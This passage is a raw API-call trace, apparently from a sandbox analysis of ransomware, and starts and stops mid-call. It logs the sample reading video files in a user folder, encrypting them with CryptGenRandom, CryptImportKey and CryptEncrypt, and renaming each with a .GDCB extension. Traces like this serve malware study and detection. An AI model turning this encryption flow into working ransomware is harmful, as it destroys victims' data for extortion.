lpNumberOfBytesRead=0x285efc0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285efc0*=0x2df7, lpOverlapped=0x0) returned 1 [0143.323] VirtualAlloc (lpAddress=0x0, dwSize=0x2e00, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0143.326] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\OKsE\\gKHCm2fwtZ_xFQId52k.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\okse\\gkhcm2fwtz_xfqid52k.avi"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\OKsE\\gKHCm2fwtZ_xFQId52k.avi.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\okse\\gkhcm2fwtz_xfqid52k.avi.gdcb")) returned 1 [0143.327] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.327] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.327] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.327] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.354] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x2ecc18) returned 1 [0143.354] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.354] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.354] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285ecdc | out: pbBuffer=0x285ecdc) returned 1 [0143.354] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.354] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x2ed300) returned 1 [0143.355] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.355] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.355] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x20, pbBuffer=0x285eca8 | out: pbBuffer=0x285eca8) returned 1 [0143.355] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0143.355] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x2ecc18) returned 1 [0143.357] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x28f4490) returned 1 [0143.357] CryptGetKeyParam (in: hKey=0x28f4490, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0143.357] CryptEncrypt (in: hKey=0x28f4490, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ecf4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ecf4*=0x100) returned 1 [0143.357] GetLastError () returned 0x0 [0143.358] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.358] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x2ecc18) returned 1 [0143.359] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x28f4590) returned 1 [0143.359] CryptGetKeyParam (in: hKey=0x28f4590, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0143.359] CryptEncrypt (in: hKey=0x28f4590, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ecf8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ecf8*=0x100) returned 1 [0143.360] GetLastError () returned 0x0 [0143.360] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.360] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\OKsE\\tIZlz3oLFvDkmXZ\\AThZQX4 Xqy.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\okse\\tizlz3olfvdkmxz\\athzqx4 xqy.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0143.360] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0143.360] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0143.360] ReadFile (in: hFile=0x4f4, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ed38, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285ed38*=0x9ec2, lpOverlapped=0x0) returned 1 [0143.369] VirtualAlloc (lpAddress=0x0, dwSize=0x9ed0, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0143.373] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\OKsE\\tIZlz3oLFvDkmXZ\\AThZQX4 Xqy.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\okse\\tizlz3olfvdkmxz\\athzqx4 xqy.avi"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\OKsE\\tIZlz3oLFvDkmXZ\\AThZQX4 Xqy.avi.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\okse\\tizlz3olfvdkmxz\\athzqx4 xqy.avi.gdcb")) returned 1 [0143.374] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.374] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.374] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.374] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.377] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x2ecc18) returned 1 [0143.377] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.377] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.377] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285ea54 | out: pbBuffer=0x285ea54) returned 1 [0143.377] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.377] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x2ecc18) returned 1 [0143.378] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.378] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.378] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285ea20 | out: pbBuffer=0x285ea20) returned 1 [0143.378] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.378] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x2ed300) returned 1 [0143.380] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x28f4450) returned 1 [0143.380] CryptGetKeyParam (in: hKey=0x28f4450, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0143.380] CryptEncrypt (in: hKey=0x28f4450, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ea6c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ea6c*=0x100) returned 1 [0143.380] GetLastError () returned 0x0 [0143.380] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0143.380] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x2ecfd0) returned 1 [0143.382] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x28f4790) returned 1 [0143.382] CryptGetKeyParam (in: hKey=0x28f4790, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0143.382] CryptEncrypt (in: hKey=0x28f4790, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ea70*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ea70*=0x100) returned 1 [0143.382] GetLastError () returned 0x0 [0143.382] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0143.382] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\OKsE\\tIZlz3oLFvDkmXZ\\dWY3im-Jv_\\1Ff1pR_1.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\okse\\tizlz3olfvdkmxz\\dwy3im-jv_\\1ff1pr_1.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f8 [0143.383] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0143.383] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0143.383] ReadFile (in: hFile=0x4f8, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285eab0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285eab0*=0xd10c, lpOverlapped=0x0) returned 1 [0143.392] VirtualAlloc (lpAddress=0x0, dwSize=0xd110, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0143.396] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\OKsE\\tIZlz3oLFvDkmXZ\\dWY3im-Jv_\\1Ff1pR_1.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\okse\\tizlz3olfvdkmxz\\dwy3im-jv_\\1ff1pr_1.mkv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\OKsE\\tIZlz3oLFvDkmXZ\\dWY3im-Jv_\\1Ff1pR_1.mkv.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\okse\\tizlz3olfvdkmxz\\dwy3im-jv_\\1ff1pr_1.mkv.gdcb")) returned 1 [0143.397] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x2ed300) returned 1 [0143.398] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.398] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.398] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x10, pbBuffer=0x285ea54 | out: pbBuffer=0x285ea54) returned 1 [0143.398] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0143.398] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x2ed300) returned 1 [0143.398] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.398] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.398] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x20, pbBuffer=0x285ea20 | out: pbBuffer=0x285ea20) returned 1 [0143.398] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0143.399] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x2ed300) returned 1 [0143.400] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x28f47d0) returned 1 [0143.400] CryptGetKeyParam (in: hKey=0x28f47d0, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0143.400] CryptEncrypt (in: hKey=0x28f47d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ea6c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ea6c*=0x100) returned 1 [0143.401] GetLastError () returned 0x0 [0143.401] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0143.401] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x2ecfd0) returned 1 [0143.402] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x28f45d0) returned 1 [0143.403] CryptGetKeyParam (in: hKey=0x28f45d0, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0143.403] CryptEncrypt (in: hKey=0x28f45d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ea70*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ea70*=0x100) returned 1 [0143.403] GetLastError () returned 0x0 [0143.403] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0143.403] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\OKsE\\tIZlz3oLFvDkmXZ\\dWY3im-Jv_\\i25MLe9kC22ViMDQq.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\okse\\tizlz3olfvdkmxz\\dwy3im-jv_\\i25mle9kc22vimdqq.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f8 [0143.403] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0143.403] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0143.403] ReadFile (in: hFile=0x4f8, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285eab0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285eab0*=0x1016f, lpOverlapped=0x0) returned 1 [0143.413] VirtualAlloc (lpAddress=0x0, dwSize=0x10170, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0143.417] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\OKsE\\tIZlz3oLFvDkmXZ\\dWY3im-Jv_\\i25MLe9kC22ViMDQq.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\okse\\tizlz3olfvdkmxz\\dwy3im-jv_\\i25mle9kc22vimdqq.mkv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\OKsE\\tIZlz3oLFvDkmXZ\\dWY3im-Jv_\\i25MLe9kC22ViMDQq.mkv.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\okse\\tizlz3olfvdkmxz\\dwy3im-jv_\\i25mle9kc22vimdqq.mkv.gdcb")) returned 1 [0143.419] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x2ecc18) returned 1 [0143.419] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.419] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.419] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285ecdc | out: pbBuffer=0x285ecdc) returned 1 [0143.419] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.419] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x2ecc18) returned 1 [0143.420] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.420] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.420] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285eca8 | out: pbBuffer=0x285eca8) returned 1 [0143.420] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.420] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x2ecc18) returned 1 [0143.422] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x28f4910) returned 1 [0143.422] CryptGetKeyParam (in: hKey=0x28f4910, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0143.422] CryptEncrypt (in: hKey=0x28f4910, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ecf4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ecf4*=0x100) returned 1 [0143.422] GetLastError () returned 0x0 [0143.422] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.422] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x2ecc18) returned 1 [0143.425] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x28f44d0) returned 1 [0143.425] CryptGetKeyParam (in: hKey=0x28f44d0, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0143.425] CryptEncrypt (in: hKey=0x28f44d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ecf8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ecf8*=0x100) returned 1 [0143.426] GetLastError () returned 0x0 [0143.426] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.426] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\OKsE\\tIZlz3oLFvDkmXZ\\GlwDigP8Jjnd5uC g.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\okse\\tizlz3olfvdkmxz\\glwdigp8jjnd5uc g.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0143.426] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0143.426] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0143.426] ReadFile (in: hFile=0x4f4, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ed38, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285ed38*=0x8740, lpOverlapped=0x0) returned 1 [0143.436] VirtualAlloc (lpAddress=0x0, dwSize=0x8740, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0143.440] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\OKsE\\tIZlz3oLFvDkmXZ\\GlwDigP8Jjnd5uC g.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\okse\\tizlz3olfvdkmxz\\glwdigp8jjnd5uc g.flv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\OKsE\\tIZlz3oLFvDkmXZ\\GlwDigP8Jjnd5uC g.flv.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\okse\\tizlz3olfvdkmxz\\glwdigp8jjnd5uc g.flv.gdcb")) returned 1 [0143.441] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x2ecca0) returned 1 [0143.441] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.441] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.441] CryptGenRandom (in: hProv=0x2ecca0, dwLen=0x10, pbBuffer=0x285ecdc | out: pbBuffer=0x285ecdc) returned 1 [0143.441] CryptReleaseContext (hProv=0x2ecca0, dwFlags=0x0) returned 1 [0143.441] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x2ecc18) returned 1 [0143.442] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.442] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.442] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285eca8 | out: pbBuffer=0x285eca8) returned 1 [0143.442] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.442] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x2ed300) returned 1 [0143.444] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x28f4950) returned 1 [0143.444] CryptGetKeyParam (in: hKey=0x28f4950, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0143.444] CryptEncrypt (in: hKey=0x28f4950, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ecf4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ecf4*=0x100) returned 1 [0143.444] GetLastError () returned 0x0 [0143.444] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0143.444] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x2ecca0) returned 1 [0143.446] CryptImportKey (in: hProv=0x2ecca0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x28f4750) returned 1 [0143.446] CryptGetKeyParam (in: hKey=0x28f4750, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0143.446] CryptEncrypt (in: hKey=0x28f4750, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ecf8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ecf8*=0x100) returned 1 [0143.446] GetLastError () returned 0x0 [0143.446] CryptReleaseContext (hProv=0x2ecca0, dwFlags=0x0) returned 1 [0143.446] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\OKsE\\tIZlz3oLFvDkmXZ\\LsUd7T_9uN5u1inV_P.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\okse\\tizlz3olfvdkmxz\\lsud7t_9un5u1inv_p.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0143.447] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0143.447] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0143.447] ReadFile (in: hFile=0x4f4, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ed38, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285ed38*=0x152cb, lpOverlapped=0x0) returned 1 [0143.460] VirtualAlloc (lpAddress=0x0, dwSize=0x152d0, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0143.465] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\OKsE\\tIZlz3oLFvDkmXZ\\LsUd7T_9uN5u1inV_P.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\okse\\tizlz3olfvdkmxz\\lsud7t_9un5u1inv_p.mkv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\OKsE\\tIZlz3oLFvDkmXZ\\LsUd7T_9uN5u1inV_P.mkv.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\okse\\tizlz3olfvdkmxz\\lsud7t_9un5u1inv_p.mkv.gdcb")) returned 1 [0143.466] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x2ecc18) returned 1 [0143.467] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.467] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.467] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285ecdc | out: pbBuffer=0x285ecdc) returned 1 [0143.467] CryptReleaseContext (hProv=0x2ecc18, 